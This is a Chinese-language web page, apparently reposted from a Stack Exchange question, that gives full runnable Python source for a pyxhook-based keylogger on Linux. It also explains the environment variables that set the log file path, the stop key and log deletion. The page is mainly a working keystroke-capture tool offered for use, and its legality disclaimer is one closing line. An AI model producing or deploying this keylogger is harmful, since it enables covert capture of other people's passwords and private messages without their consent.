基于pyxhook的keylogger键盘记录器开发实现及完整代码示例
基于Python pyxhook库的键盘记录器实现
这是一款基于Python的pyxhook库开发的键盘记录器,支持通过环境变量自定义配置参数,完整可运行代码如下:
import os import pyxhook log_file = os.environ.get( 'pylogger_file', os.path.expanduser('~/Desktop/file.log') ) cancel_key = ord( os.environ.get( 'pylogger_cancel', '`' )[0] ) if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: pass def OnKeyPress(event): with open(log_file, 'a') as f: f.write('{}\n'.format(event.Key)) new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard() try: new_hook.start() except KeyboardInterrupt: pass except Exception as ex: msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg))
相关说明
- 可配置的环境变量参数:
pylogger_file:自定义按键日志存储路径,默认保存在当前用户桌面的file.log文件中pylogger_cancel:自定义终止记录的快捷键,默认使用反引号键`pylogger_clean:如果设置了该环境变量,程序启动时会自动删除已存在的旧日志文件
- 运行前需要先完成依赖安装,pyxhook库通常运行在Linux环境下,需确保系统已安装python-xlib等配套依赖
- 注意:键盘记录器仅可用于合法合规的场景,例如个人设备的操作回溯,禁止用于未授权的设备监控,否则可能违反相关法律法规
内容的提问来源于stack exchange,提问作者Chandler Bracelin
相关产品推荐
相关产品推荐

